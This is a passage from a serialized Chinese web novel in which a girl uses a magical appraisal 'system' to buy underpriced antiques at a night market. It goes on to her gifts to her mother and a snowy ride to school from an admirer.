“墨墨,跟紧我,千万别走散了。”时建军停下车,把自行车锁在离胡同口两米的地方,一把将妹妹拉到身侧,声音压得极低。“这里人太杂了,谁搭话你都别理,东西看好,有哥在,没人敢动你一根手指头。” 时建军眼睛瞪得溜圆,警惕地扫视着周围,一只手虚护在时墨背后,另一只手不自觉地摸了摸腰上别着的扳手。 时墨倒是比时建军镇定得多,拍拍他哥胳膊,面上半点不见慌乱,:“哥,放松点,咱们就是来淘东西的,越紧张越容易被人盯上。” 【宿主请放心,我全程盯着呢!】系统的声音适时响起,【全息投影已加载——所有真品标红色光点,普通真品绿色,赝品黄色。另外,心怀不轨的人我会用橙色光圈标注,你注意避开。】 话音刚落,时墨的视野里像铺开了一张全息地图:路两边密密麻麻的地摊,以及每个人都被标注上不同颜色的光点。她能看见哪个摊主眼神飘忽,哪个买家鬼鬼祟祟,哪个角落蹲着的人身上泛着橙色的警示光—— 作者有话说:快月底啦,求求营养液~ 第39章 【左前方三米, 红色光点!清代光绪年间的铜胎画珐琅鼻烟壶,真品,市场价八百以上, 摊主标价二十。】 【左后方两米, 两个扒手盯着你身后的布包, 正在往这边靠, 建议立刻移动避让!】 【左前方五米摊位,全黄标!民国仿齐白石虾趣图、现代仿宣德炉,全是赝品,别碰!】 系统的播报精准又密集,时墨脚步不停, 拉着时建军在胡同口打了两个手势, 隐藏在胡同口两侧的人挥了挥手,示意他们进去, 身后跟着的两个扒手立马就走远了。 时墨低头瞥了一眼, 心下明白了,先拐到鼻烟壶摊位前。 摊主是个裹着军大衣的山羊胡老头, 蹲在墙角缩着脖子, 见有人过来, 眼皮都没抬, 只抬手比划了一下:按规矩来。 时墨点点头没吭声, 蹲下身,先随手拿起旁边一个豁了口的铜勺子翻了翻,又漫不经心地拿起那个鼻烟壶, 指尖摩挲着壶身温润的包浆和细腻的珐琅彩,心里门清——开门的老物件,一点毛病没有。 放下鼻烟壶, 她又拿起旁边一把旧铜锁,伸出左手,对方笼着袖子同样伸出左手,两人在袖子里手碰手地比划着—— 时墨:多少钱? 摊主:二十。 时墨摇了摇头,右手指尖点了点鼻烟壶,又冲老头比划了个二十五。 时墨摇了摇头伸手比划了个数,指尖点了点鼻烟壶,又冲老头比划了个二十五。 老头抬了抬眼皮,见她是个年轻姑娘,看着不像懂行的,撇了撇嘴摇头。 时墨拧眉,在袖子比划:多少? 老头淡定比划:三十。 同时心里还偷着乐——这俩破玩意儿,收来才花了五块钱,净赚五倍还多。 时墨眉头皱的更明显了:二十七,不行就算了。 老头心下咯噔一下,算了,能赚赶紧赚:成交。 时墨立马掏钱,老头也不含糊,东西直接塞到时墨手里,摆手:赶紧走。 【宿主太会演了!】系统在脑海里赞叹,【明明知道是宝贝,愣是装成买破烂的!】 【这叫策略。】时墨在心里笑,【鬼市买东西,露出一点想要的苗头,价钱就得翻倍。】 时墨把两样东西塞进布包,继续就往胡同深处走。刚走两步,系统又预警:【宿主,刚才那两个扒手还跟着,右前方三个壮汉是这一片的地痞,专坑新手,咱们往人多的地方走。】 时墨不动声色,拉着时建军拐进了摊位更密集的中段,脚步停在了一个摆着碗盘的摊子前。摊主是个穿旧棉袄的中年人,缩在墙根,面前的蓝布上摆着七八个碗盘、两个铜香炉。 【宿主,蓝布上左数第三个碗!明代成化民窑青花碗,真品!当前市场价一千二,标价二十,摊主底价十块!】 时墨蹲下身,手电光只贴着碗沿扫,拿起碗翻了翻,底款“大明成化年制”六个字歪歪扭扭,是典型的民窑随性写法,釉色温润,青花发色淡雅,开门的真品。 她没急着问价,先拿起旁边一个粗瓷碗翻了翻,才指着成化碗比划手势:多少钱? 中年人回应一个手势:二十。 时墨没说话,把手伸了过去。 中年人看了她一眼,也伸出手。 两只手在袖口处交握,手指在布料下面快速翻动——时墨先比了个“十”,中年人摇头,比了个“十五”;时墨又比了个“十二”,中年人没想到这小姑娘砍价这么稳,点了点头。 时墨收回手,从兜里掏出十二块钱递过去。 中年人接过钱,把碗包好递过来,全程没再说一句话。 时建军在旁边看得目瞪口呆,他根本没看懂发生了什么,妹妹就已经买完了。 【哥,这是鬼市的规矩,还价不能嚷嚷,袖子里拉手谈价。】时墨在心里默默解释,【学会了不?】 【宿主,您这教学对象选错了,他又听不见。】系统无情吐槽。 【我就是说说。】时墨笑着站起身,继续往里走。 【宿主右前方,红色光点!明代铜炉,真品,十五块!】 拿下。 【左边那串朝珠,绿色光点!清代沉香木朝珠,108颗,标价三十,真品!】 三十块,拿下。 【前面那个卖字画的,最边上那卷破破烂烂的——红色高亮!清代何绍真迹!标价五块!】 五块,拿下。 时墨每一次出手都干脆利落,从不恋战,买完就走,绝不在一个摊位前多停留。 时建军跟在时墨身边,从一开始的紧张警惕,渐渐变成了目瞪口呆。他看着妹妹蹲在一个个摊子前,伸手,摸东西,袖子里比划两下,掏钱,走人,整套动作行云流水,比在菜市场买白菜还利落,半点不见新手的局促。 而且她买的东西,在他眼里都是些破破烂烂的玩意儿,一个锈迹斑斑的铜炉,一串脏兮兮的珠子,一卷破得快要散开的字画…… “妹……”他忍不住凑过去,悄声道,“你买这些破烂干啥?” “哥,回去说。”时墨冲他眨眨眼,继续往前走。 时建军就闭嘴了,沉默地跟着妹妹继续走,心里却在担心:妹妹在这里买这么多东西,被人盯上了,他可怎么办才好? 【宿主,前方橙色光圈聚集,注意。】系统的声音忽然严肃起来,【三个可疑人物,在您左前方十米处蹲守,疑似盯上了您。】 时墨目光一扫,果然看见三个男人蹲在一个摊位前,眼神却时不时往她这边瞟。 她不动声色,拉着时建军往另一个方向走,同时在一个卖古籍的摊位前蹲下,假装翻书。 就是这时,意外发生了。 时建军手里的手电没拿稳,光柱一晃,正好扫到了一个人的脸上。 那是个光头壮汉,络腮胡,眼睛被光晃得瞬间眯起,猛地站起身,一把揪住时建军的衣领:“妈的,照什么照?懂不懂鬼市的规矩?照货不照脸,你他妈照我脸,是想踩点还是找事?” 周围瞬间安静下来,几十道目光齐刷刷看过来,几道手电光扫过来又迅速移开,气氛瞬间绷紧。 时建军脸一红,刚要道歉,被壮汉劈头盖脸骂了一句,火气瞬间上来了,攥着拳头就要还手。 “哥!”时墨一把拉住他,同时迅速熄了手电筒,对着那壮汉拱了拱手,“大哥,实在对不住,我哥头回来,不懂规矩,不是故意晃您的,我给您赔个不是。我们就是来淘两本旧书,绝没有别的意思。您大人大量,别跟他一般见识。” 她话说得客气,却把“不懂规矩”点得明明白白,既给了对方台阶,也消解了“故意找事”的由头。鬼市里最忌坏规矩,可也最讲“不知者不罪”,真闹起来,围观的人也只会觉得壮汉欺负新手。 壮汉瞪着她,脸色阴沉。 时墨不躲不闪,迎着他的目光。 壮汉盯着时墨看了几秒,见她一个小姑娘,说话得体,半点不慌,火气也消了大半,最终哼了一声,松开时建军:“第一次来就把规矩记牢了,鬼市照货不照脸,再乱照,可就不是说两句这么简单了。” “是是是,谢谢您提醒,我们记住了。”时墨连连点头,拉着时建军蹲下身,装作认真翻书。 壮汉又瞪了他们一眼,转身消失在人群里。 时建军懊恼地咬了咬牙,压着声音:“都怪我,差点给你惹事。” “没事,不知者不罪。”时墨拍拍他的手,压低声音,“哥,你帮我盯着周围就行,手电筒往地上照,别乱晃。” 时建军连连点头,再也不敢乱照了。 【宿主!蓝色高亮光点!这套《本草纲目》,清代乾隆年间金陵版木刻本,全本12册,品相完整,无缺页无虫蛀!真品!当前市场价一千八百元!摊主当成民国翻印本,底价一百零五块!】 时墨心里一喜,随手翻了翻旁边两本破旧的武侠小说,才拿起这套《本草纲目》,漫不经心地翻了两页,同样给出手势问价。 摊主伸手比划了两个手势:全套,三百。 “您这是民国翻印的,不值这个价。”时墨小声说完摇了摇头,把书放回去。 摊主犹豫了一下,冲时墨比划个二百。 时墨拧眉,犹豫了好一会才装作咬牙同意,付了钱,把厚厚的一套书抱进怀里,布包又沉了几分。 这个小插曲过后,时墨更加谨慎了。她不再密集出手,而是走走停停,偶尔看看,偶尔问问价,让人摸不清她的节奏。 【宿主,刚才那三个橙色光圈的人还在跟着您,距离十五米,建议绕开。】系统持续播报。 时墨心里有数,拉着时建军七拐八绕,穿过几个狭窄的过道,把那几个人甩开了一段距离。 【前方十米,红色高亮!康熙年间民窑精品青花缠枝莲纹碗,全品无冲线,真品!当前市场价四千元!摊主当成清末仿品,底价二百块!】 时墨眼睛一亮,拉着时建军快步走了过去。摊位前围了两个人,摊主是个瘦高个,蹲在地上抽烟,见她过来,抬了抬眼皮没说话。 时墨挤进去,一眼就看到了那个大碗,碗口足有二十公分,胎质细腻坚实,青花发色沉稳,缠枝莲纹画得流畅有力。 时墨沉默地看着,见摊位前的两人没有跟摊主比价的意思,她这才装作随意的样子拿起碗,里外翻了翻,看着底款“大清康熙年制”六字楷书款工整规范,妥妥的民窑上品,她指尖摩挲着碗底的款识,心里已经有了数,正要伸手跟摊主比价。 旁边突然伸过来一只手,直接就要从她手里把碗夺走。 第40章 “这碗我要了。” 穿皮夹克的横肉男人面容凶狠, 目光冷漠,紧紧盯着时墨,大有她不给他就要动手的架势! 时建军眼疾手快, 一步跨上前, 一把挡住那人的手, 把时墨严严实实护在身后, 脸一沉:“你干什么?我们先拿在手的!” 时墨扯了扯哥哥的衣袖,时建军拧眉,看向妹妹,时墨摇头。 这时不知道从哪儿冒出来两个壮汉,直接将那凶狠男人和他身边的人一把摁倒在地, 然后就迅速拖走了, 全程都没有发出一丝多余的声响。 时建军震惊! 时墨心下一松! 系统也震惊了:【感情之前的那几个人是维持这里的秩序的?!】 之前系统一直让女主避开的三个壮汉中的两个就是出来将凶狠男人和他同伴拖走的人。 时墨心下调侃:【没想到,你也会有判断错误的时候。】 系统:…… 时墨蹲下来, 拿着碗跟摊主继续比价。 摊主是个五十来岁的老头, 刚才那场闹剧他全程看在眼里,却一直平静得仿佛不存在, 很显然, 他已经见怪不怪了。 他伸出手。 时墨也伸出手。 两只手在袖□□握。 老头指尖在她的手指上碰了碰, 先比了个三, 又比了个零, 意思是三百块。 时墨指尖一动,按住他的三根手指,只留下两根, 又添了三根,意思是二百三。 摊主皱了皱眉,手指又动了动, 比了个二百五。 时墨摇了摇头,收回手,放下碗就要走。 摊主连忙拉住她,笑着摆了摆手,在袖子里拍了拍她的手,算是应了二百三的价。 时墨点点头,收回手,从兜里掏钱递过去。 老头接过钱,麻利地把碗包好,递给她,意味深长地笑了笑。 时墨也回以一笑,把碗装进布包里,起身离开。 时墨本来不打算在这里买太多的东西,免得露富,但这会她却有了一个计划,拉着时建军继续往下一个摊位走。 【宿主,左边那个摊位,那几个青铜器。】系统的声音忽然变得严肃,【橙色警示!生坑货,是刚出土的,还有两个玉佩是派出所挂了号的赃物,热货,千万别碰,沾了就惹麻烦!咱们立刻绕开!】 时墨目光一扫,果然看见那个摊位的摊主鬼鬼祟祟的,东西上还带着新鲜的湿泥土。她立刻移开目光,拉着时建军往另一边走,半分眼神都没多给。 【宿主做得对。】系统赞赏道,【这种货碰不得,沾上就是大事。】 【放心,我心里有数。】 接下来的半个多小时,时墨在系统的指引下,一边甩开跟踪的人,一边继续捡漏。 【前方,绿色光点!清代端砚,真品,标价二百二,可入!】 拿下。 【右边,红色光点!清代山水小品,真品,标价四百,值!】 拿下。 【左边,绿色光点!古钱币五枚,真品,标价八十,可入!】 拿下。 凌晨四点,时墨的布包已经塞得满满当当。她算了算超额部分,还差两百左右就够了。 【宿主,前方十米摊位,左数第二个青花碗!元代青花缠枝牡丹纹碗!全品!真品!传世熟坑!当前市场价一万二!摊主当成清末仿品,底价五十块!】 时墨的脚步猛地一顿,心脏狠狠跳了一下。 元青花?! 那可是后世动辄上亿的顶级瓷器!就算是民窑小件,也是可遇不可求的珍品! 她稳住心神,面上半点波澜都没露,慢悠悠地走了过去。 摊主是个六十来岁戴旧毡帽的老头,面前摆着七八件瓷器。那个元青花碗就混在里面,看着毫不起眼。 时墨蹲下身,先拿起旁边两个盘子翻了翻,才拿起那个碗,手电光贴着釉面扫过——碗口微撇,釉色泛着温润的鸭蛋青,青花发色浓艳,带着自然的铁锈斑,缠枝牡丹纹笔法流畅有力,底部无款,一圈自然的火石红,开门到代的真品。 时墨心里翻江倒海,面上却不动声色。她把碗放回原处,又拿起旁边一个普通的青花盘看了看,又将摊子其他瓷器都看了看,跟摊主划价:全部都要了,多少? 老头挑眉,比划了个二百五。 时墨嘴角一抽:一百。 真当我是二百五了。 时墨冲老头指着碗沿一道极细的冲线。 老头凑过来眯着眼看了半天,才发现那道不仔细看根本发现不了的裂纹,脸色顿时垮了下来:一百八。 一百是不可能的,好几件东西呢,哪怕是他从家里的地里挖出来的,但也不至于这个价就出手了,能多要点是一点儿,这几个碗盘看着就漂亮,光是这个就值钱了。 时墨没说话,再次抬起袖子,伸出手跟他袖里议价,指尖碰了碰,比了个一百一十块。 老头摇头,比了个“一百六”。时墨又比了个“一百二”,老头犹豫了半天,最终在她袖子里拍了一下,算是应了。 时墨掏出一百二十块钱递过去,将所有的碗盘都包好,放进布包最里层。 起身的时候,时墨的手激动地微微发抖怕人看出异样赶紧插兜。 元青花。 带所有其他盘子一块才一百二! 她抱着这个碗,就等于抱着后世一套大别墅! 【宿主,冷静!冷静!您的心率又超标了!】系统着急提醒,【深呼吸!别让人看出来!】 时墨深吸一口气,压下翻涌的情绪,拉着时建军继续往前走。 【宿主,有两人在跟着你,距离八米。】系统持续播报,【但他们好像只是盯着,没敢靠近——估计是看您太懂规矩,不好下手。】 时墨心里有数,继续在人群里穿行,偶尔看看摊子,偶尔问问价,让人摸不清她的节奏。 凌晨五点,天边开始泛起鱼肚白。 鬼市的人渐渐少了,摊主们开始收拾东西。 【宿主,还剩最后八百块,那边还有个摊子——】系统忽然说,【那个老头,角落摊位的青铜鼎!西周早期饕餮纹小鼎,祭祀明器,全品无修,真品!当前市场价两万元!摊主当成民国仿品,底价二百块!】 时墨脚步又是一顿。 西周?! 她看向那个摊子,瘦小的老头正蹲在角落里,面前铺着块破布,上面摆着七八件东西,其中有一个巴掌大的青铜鼎,锈迹斑斑,看着毫不起眼。 她走过去,蹲下,拿起铜鼎翻看,手感沉实,锈色入骨,三足,双耳,腹部的饕餮纹清晰古朴,底部的范线规整自然。 她掂了掂,随手放下,比划了一下价格:六十。 老头伸出手比划,时墨放下东西也伸出手。 两只手在袖□□握,最终九十块成交。 时墨付了钱,把铜鼎包好塞进布包,这是她真是她今晚买的最值的一件。 天边已经泛起了鱼肚白,雾气渐渐散了,胡同里的摊主开始收拾东西,鬼市有规矩,天一亮就散市,绝不多待。 时墨算了算手里的钱,之前买黄金花了一千九百三十五,今晚在鬼市花了四千二百零八,给了系统三倍加班费,兜里还剩一百零二块,依旧超了限额八十五块。 【宿主,温馨提示,您当前可支配现金102元,超出限额85元,距离清零时限还有六个半小时,请尽快处理超额部分。】 就剩八十五,好说好说。 忽然,时墨感觉有人在看她。抬头朝感知方向看去,就见不远处的胡同口,站着一个熟悉的身影。 微微眯眼细瞧。 晨曦的微光里,谢时昀穿着深灰色风衣,身形修长挺拔,手里拿着一卷刚收的字画,目光越过层层人群,落在她身上。 两人视线对视上,谢时昀眼里闪过一丝惊讶,随即冲她几不可察地点了点头,算是打过了招呼。 时建军这时也看见了他,刚要开口喊人,被时墨一把按住了手。“哥,别出声。鬼市的规矩,遇着熟人也不能打招呼,就当不认识,别坏了人家的兴致,也坏了规矩。” 时建军赶紧闭上嘴,跟着时墨往胡同口走。 擦肩而过的时候,时墨能感觉到谢时昀的目光一直落在她身上,两人走过时,对方极轻地往她身侧让了半步,避开了她怀里的布包。 走到胡同口,天已经蒙蒙亮了。 时墨从布包里掏出了那串沉香木朝珠,一边跟胡同口的两位穿戴严密的人打手势要走,一边将朝珠递过去:麻烦几位帮忙互送一下。 两位戴着整张脸半张脸,只露出眼睛的面罩的高壮人士对视了一眼,点点头,接过来朝珠,其中一个凑过来看了看,低头闻了闻,比划了一下:你们走吧,放心,不会有人跟着你们的。 时墨这才狠狠松口气,拉着一头雾水的时建军就走了。 时建军回到自行车上锁的地方,驮着时墨往回赶。路过一个卖吃食的小摊时,时墨让哥哥停下来,买了几个热腾腾的包子。 “哥,先吃点东西垫垫。” 时建军接过包子,咬了一口,含糊不清地问:“妹,你买好了?” “嗯。”时墨啃着包子,看着渐渐散去的鬼市人群。 时建军沉默了一会:“妹,刚才你干嘛把买的木串珠给门口的那两人?” 时墨淡淡一笑道:“破财免灾啊!哥。” 时建军恍然,可还是心有余悸:“真的没事儿吗?” 时墨笑着站起身,拍了拍时建军的胳膊,“哥,没事儿的,放心吧。” 能支起这么大一个鬼市的人,会解决不了她被人盯上这么点麻烦?她不相信。 【宿主,还有八十五块超额现金,尽快处理哦,不然就要清零了。】 时墨心里早有了主意:【剩下钱全给你发奖金了,加班费之外的额外犒劳,今晚辛苦了。】 系统沉默了一秒,然后发出一声惊喜的尖叫—— 【真的吗宿主?!您是说真的吗?!】 【真的。】时墨笑了,【反正花不完也要被清零,不如给你,这点钱就当是奖金了。】 【宿主!您是我见过最大方的宿主!!!】系统激动得手舞足蹈,【我、我这就申请接收!】 时墨忍不住笑出声:【行了行了,别激动,快接收吧,别到时候系统自己清零了。】 【收到!接收中!接收成功!!!】系统的声音里喜悦都要溢出来,【宿主您放心,以后您有任何需要,小七赴汤蹈火在所不辞!您让我往东我绝不往西,您让我扫描我绝不偷懒!】 【好,记住你说的话。】时墨笑着把包放在怀里,“哥,走了,回家。” 时建军几口吃完包子,抹了抹嘴,蹬上自行车。 时墨坐在后座上,抱着鼓鼓囊囊的布包,靠在她哥后背上。 清晨风吹在脸上,带着凉意,却让人格外清醒。 【宿主。】系统的声音忽然响起,变得很轻很轻,【谢谢您。】 时墨笑了笑:【不客气,你应得的。】 金色的阳光洒在斑驳的楼墙上,有早起的人已经在楼下生炉子,炊烟袅袅升起。 时墨闭上眼睛,嘴角微微弯起。 这一晚,赚翻了!—— 作者有话说:谢谢大家的营养液~【咕噜咕噜】【小树快快茁壮成长】【..top】 40-50 第41章 时墨抱着鼓鼓囊囊的布包进了屋, 轻手轻脚地关上门,整个人往床上一倒,长长地舒了口气。 布包放在地上, 鼓囊囊的一团, 里头装着二十多件宝贝——元青花碗、西周铜鼎、康熙青花碗、何绍真迹、清代端砚……随便拿出一件, 搁后世都是好宝贝。 可惜她的四合院还没收拾妥当, 等收拾好了,再把这些宝贝搬过去,妥帖存放。 可她现在手里只剩十七块钱可供支配。 啧,真穷啊。 时墨看着天花板,忽然“噗嗤”一声笑了出来。 【宿主, 您笑什么?】系统好奇地问。 【我在想, 我这算不算史上最穷的富翁?】 时墨笑着翻身蹲坐在地上,把布包打开, 一件一件往外拿东西, 小心地放进柜子里。每一件都仔细放好,最后锁上柜门, 拍了拍手。 十七块钱。 穷是真穷, 开心也是真开心。 时墨洗完手回来, 打开另一个抽屉, 拿出昨天在百货大楼买的那些金饰——一个二十二克的光圈手镯, 一条十五克的项链,还有一对六克的耳环。 金灿灿的,在晨光里泛着柔和的光, 这颜色越看越喜欢! 时墨拿起手镯,在手腕上比了比,觉得样式虽然比不上后来, 但看着也不错。 时墨推开门,李秀兰这会儿正在厨房忙活,听见动静回头一看:“哟,这么早就醒了?不多睡会儿?” “妈,您过来,我有东西给您。”时墨一脸神秘地冲她招手。 李秀兰 用围裙擦擦手,走过来好奇道:“啥东西?整的神神秘秘的?” 时墨把藏在后背的手镯递到她面前。 李秀兰瞬间愣住了。 “这、这……”李秀兰的手都不知道往哪儿放,“你这孩子,这是干啥?!” “给您买的。”时墨拉过她的手,把手镯套上去,“您试试圈口合不合适。” 李秀兰看着手腕上的金镯子,眼眶一下子就红了。 “真的是,花这冤枉钱干啥?!”她嘴里嗔怪着,手却舍不得把镯子摘下来,翻来覆去地看,手腕又上下颠了颠,“估计有二十多克,这得多少钱吧?是不是得好几百?” “妈你真厉害,掂量下就能知道克重,二十二克。”时墨笑着又从衣兜里拿出项链和耳环,“还有这个都是给您的,邻居王婶有个金戒指没少炫耀,咱也炫一炫。” 李秀兰这下彻底愣住了。 一条项链,一对耳环,一个手镯,这些加起来快两千块了! “不行不行不行!”李秀兰连连摆手,把镯子往下撸,“妈不戴,你自己留着,以后当嫁妆!” “哎呀,我结婚早着呢。”时墨按住她的手,摸着上面干活多年起的茧子,佯装生气,“这是我专门给您买的,您要是不收,我可真生气了。” 李秀兰看着女儿认真的眼神,眼里含着的泪险些落下。 她抬起手,摸了摸时墨的脸,声音有些发颤:“我闺女……我闺女长大,懂事了,知道疼妈了……” 时墨被她弄得也有些鼻酸,抱住她的胳膊:“妈,您别哭啊,高兴的事儿。等以后我赚大钱,咱天天换着样戴!” “净瞎说!”李秀兰抹了抹眼角,又低头看手腕上的镯子,笑得合不拢嘴,“我活这么大岁数,还是头一回戴这么重的金镯子。我们车间那些姐妹,也就过年过节戴个三五克的小戒指,我这个……” 她忽然想起什么,脸色一变,赶紧把镯子撸下来:“不行不行,这太招摇了!我戴着去厂里,还不得被人说闲话?财不外露,财不外露!” 时墨哭笑不得:“妈,您自己家里戴戴还不行?逢年过节、走亲戚的时候戴,多体面。” 李秀兰把金饰都收进红布包里,塞进衣柜最里面的樟木箱里,又拿块布盖好,上了锁,嘴里还不停念叨,“逢年过节戴一戴,平时可不能戴。咱们家刚出了风头,再戴这么重的金饰出去,背后指不定有人说三道四,万一再眼红咱家,反倒多出事端来。” 时墨点点头,觉得她妈说得有道理。 李秀兰把首饰收好,又拉着时墨的手,心疼地问:“墨墨,你给妈买这么多东西,自己手里还有钱吗?” “有。”时墨面不改色,“还剩……不少呢,够花。” 十七块,确实“不少”——七块钱能买好几斤肉,够吃几天了。 李秀兰还是不放心:“有就行,不够了一定跟妈说,别自己硬扛着。妈和你爸工资虽然不高,但供你零花还是够的。” “知道了妈。”时墨笑着应下,“我你还不了解,没了指定不跟你客气。” * 接下来的几天,时墨过得无比充实。 最让她开心的是,终于有时间好好写小说了。 之前忙着应付各种事,稿子断断续续的,进度一直拖着。现在心静下来,思路也顺了,写小说的速度也快得惊人,一天稳定几千字,没多久就把后续稿子全写完了。 一周后,她把新写的稿子整理好,去了出版社。 林慧君见到她,眼睛都亮了:“时墨!你可算来了!我正想找你呢!” 时墨把稿子递过去:“林姨,这是新写的部分,您看看。” 林慧君接过来,随手翻了几页,连连点头:“不错不错,状态很好!比前面写得还顺!” 她合上稿子,看着时墨,关心地问:“最近家里还好吧?学习忙不忙?” “都挺好的。”时墨想了想,还是把话说了出来,“林姨,我想跟您问个事。后续要是再有稿费或者版税打款,能不能提前告诉我一声大概的日期?” 林慧君愣了一下:“怎么了,急着用钱?是不是家里出什么事了?要是用钱急,我先跟社里申请,给你预支一部分稿费?” “不是不是。”时墨连忙摆手,“就是……家里最近事儿多,我前段时间买了个小院子,想攒钱收拾一下,得提前算好钱怎么用,免得手忙脚乱的。” “原来是这样!”林慧君恍然大悟,笑着打趣,“我们时墨都成小房主了?行,没问题,回头我跟财务那边打个招呼,有消息提前通知你。不过具体日期有时候也说不准,银行转账流程慢,只能估摸大概。” “大概就行,谢谢林姨。”时墨松了口气。 有了提前通知,她就有足够的时间处理超额的钱,再也不用像这次一样,大半夜跑鬼市急着花钱了。 那地方,现在的她还是少去。 * 日子过得飞快,转眼就到了十一月。 首都的天一天比一天冷,西北风刮得窗户纸呼呼响,入冬的第一场雪,毫无征兆地落了下来。 雪来得又急又猛,上午还只是零星飘着,中午就开始大片大片地往下落,到了下午的时候,地上已经积了厚厚一层。 学校怕路滑出事,提前两个小时放了学。 时墨踩着积雪往家走,雪花落在帽子上、肩膀上,凉丝丝的。到家的时候,整个人都快成雪人了。 李秀兰赶紧把她拉进屋,用毛巾给她擦头发:“哎哟,这雪下得可真大!明天也不知道能不能停。” “看这样子不像能停的,明早上学得早点出门。” 这雪果然下了整整一夜。 第二天早上,整个世界都白茫茫一片。 时墨推开窗一看,愣住了。 院子里的积雪足有半尺厚,胡同里的雪更深,有的地方被风一吹,甚至堆到了膝盖。 “我的天,这雪下得也太大了!”时建军扒着窗户看了一眼,回头就跟时墨说,“妹,今天自行车肯定骑不了了,哥陪你步行去学校,我给你背书包,保准摔不着你。” “这雪确实不小。”李秀兰站在窗户边发愁,“墨墨,今天要不请假算了?” “我没事,前些日子请了好几次,总请假不好。”时墨穿上厚棉袄,戴上手套,站在门口道。 时建军已经穿戴整齐,又翻出一条厚围巾,把时墨围得严严实实,只露出两只眼睛,“妹,走吧!” 兄妹俩裹得严严实实的出了门,踩着积雪往胡同口走。 雪还在下,纷纷扬扬的,视线里全是白的。细细的雪沫子打在脸上,凉飕飕的。 路上的积雪被踩得实实的,滑得很,时建军一步一探地走在前面,给时墨踩出脚印,嘴里还不停叮嘱:“慢点走,踩着我的脚印,别往边上滑。” “哥,要不咱们还是等公交吧?”时墨提议。 “等啥公交,这种天气公交早挤满了,等半天也挤不上去。”时建军摇摇头,“走走吧,就当锻炼身体,实在不行哥背你。” 时墨笑道:“哥,我又不是三岁小孩儿。” 两人走到路口,正要往大路上拐,忽然听见一声汽车喇叭—— “嘀——” 一辆黑色轿车停在路口,车窗摇下来,露出谢时昀的脸。 他今天穿着一件深棕色大衣,围着条藏青色的围巾,衬得眉目愈发清俊。看见他们,笑着招呼道:“时墨,建军,上车吧,我送你们。” 时建军愣了一下,立刻笑着摆手:“谢哥?你怎么在这儿?” “今天要去单位办点事,正好路过这边。”谢时昀说得云淡风轻,“想着能不能碰上你们,没想到还真碰上了。上来吧,雪太大了,路不好走。” 时建军愣了一下,立刻笑着摆手:“不用了,我们俩走着就行,就当锻炼身体了!” “别跟我客气。”谢时昀推开车门下来,撑着伞走到两人面前,目光落在时墨冻得微红的眼尾上,语气里带着不易察觉的关切,“雪还在下,路滑得很,到学校步行过去至少要半个多小时,别再冻感冒了,耽误上课。上车吧,正好顺路,不麻烦。” 前面驾驶座的司机听到这话,心里暗自好笑,却看破不说破。 谢家到单位根本不走这条道。 老板一大早就催着他把车开过来,在路口等了快二十分钟了,这会儿倒说是“正好路过”。 时建军看着漫天的大雪,又看了看身边裹得严严实实的妹妹,有点犹豫了。他自己走没关系,可妹妹一个女孩子,雪这么大,万一真冻感冒了咋整。 “妹,要不……咱们就坐谢哥的车?”时建军看向时墨询问。 时墨看了眼谢时昀。 路过?这么巧?—— 作者有话说:零点更新是没什么人看吗?那早9点,晚6点,9点,这几个时间段大家觉得改哪个点比较好,我琢磨琢磨要不要改固定更新时间 第42章 但人家都把话说到这个份上了, 再拒绝就显得太刻意了,只能点了点头,对着谢时昀礼貌道谢:“那就麻烦谢哥了。” “不麻烦, 举手之劳。”谢时昀眼里闪过一丝不易察觉的笑意, 连忙拉开后车门, 先让时墨坐进去, 又让时建军上了车,自己才绕到副驾驶坐好,吩咐司机,“开车吧,慢点, 稳着点。” 车里开着暖气, 暖意瞬间裹了上来,驱散了一身的寒气。 车子缓缓开动, 碾过积雪, 发出细碎的沙沙声。 “这么大的雪,你们怎么没坐公交?”谢时昀问, 目光透过后视镜落在时墨身上。 “公交挤不上。”时建军搓了搓冻僵的手, 一开口就打开了话匣子, 对着谢时昀就唠了起来:“我妹高三, 不能总请假, 只能走着去。还好碰上谢哥,不然得走好久。” “是啊,今年的雪来得早, 也下得大。”谢时昀笑着应声,话头一转,就落到了时墨身上, “时墨最近学习累不累?” “还行。”时墨礼貌地回答。 时建军跟着接话道:“谢哥你不知道,我看她在家都不怎么复习,考试照样第一,也不知道那小脑袋瓜咋长的!不光学习,还写小说呢!前阵子出版社还跟她签合同,都要出书了!” 时墨:“……” 哥,你话太多了。 谢时昀眼里带着笑意,看着时墨:“这么厉害?” “我哥夸张了。”时墨谦虚道,“就是正常学,劳逸结合。” “才不是夸张!”时建军越说越来劲,“谢哥你不知道,我妹不光学习好,眼光还毒!前阵子她去鬼——唔!” 时墨在后座狠狠掐了他后腰一把。 时建军疼得倒吸一口凉气,后半句话生生咽了回去。 “去什么?”谢时昀问。 “去……去公园看日出!”时建军瞎编道,“跟同学一起,看日出!” 时墨坐在后座,听得嘴角直抽。非常想说一句:哥,咱没话,可以不硬聊。 谢时昀看了时墨一眼,眼里有淡淡的笑意,却没再追问,反而换了个话题。 “时墨平时有什么爱好吗?” “看书,睡觉。”时墨简短地回答。 “我妹确实觉多,她在家没人打扰能睡到中午,我觉得我妹是平时太费脑子了,我听说睡觉补脑……” 身为话题中心的时墨,反倒一句话都插不上,只能靠在车窗上,看着外面漫天飞舞的大雪,无奈地扶额。 二十分钟后,车稳稳停在了学校门口。雪还在下,校门口的路已经被扫出来了,不少学生正裹着厚衣服往学校里跑。 时墨推开车门,冲谢时昀道谢:“谢谢谢哥,今天真是麻烦你了。” “不客气。”谢时昀看着她,目光温和,“放学的时候雪要是还没停,给我打个电话,我过来接你。” “不用,太麻烦你。”时墨连忙摆手,“我爸下午会来接我的,就不耽误你办事了。” 谢时昀也不勉强,只点了点头:“那行,要是有什么事,随时给我打电话。快进去吧,别冻着了。” 车子缓缓开走,时建军还在那儿挥手。 时墨拽了他一把:“哥人都走远了,别挥了。” 时建军这才放下胳膊:“谢哥人真好啊,还特意送咱们……” 时墨没接话,心里跟明镜似的。 谢时昀的心意,她不是看不出来,只是她现在压根没空想这些情情爱爱,只能装作不懂,保持着礼貌的距离。 * 一上午的课,雪就没停过。 原本细细的雪沫子,又变成了大片的鹅毛雪,窗外白茫茫的一片,连对面的教学楼都快看不清了。 下午第三节课,班主任匆匆走进教室,拍了拍手,高声宣布:“同学们,接到教育局通知,因为暴雪天气,路面积雪严重,为了大家的安全,全市中小学停课一天。后天如果雪还不停,就等到周一再上课。大家放学路上注意安全,别在路上逗留!” 教室里静了一秒,随即爆发出震耳欲聋的欢呼声。 “太好了!” “放假啦!” “万岁!” 时墨也忍不住笑了,难得的假期,正好可以去四合院看看,收拾一下屋子,顺便把淘来的宝贝搬过去。 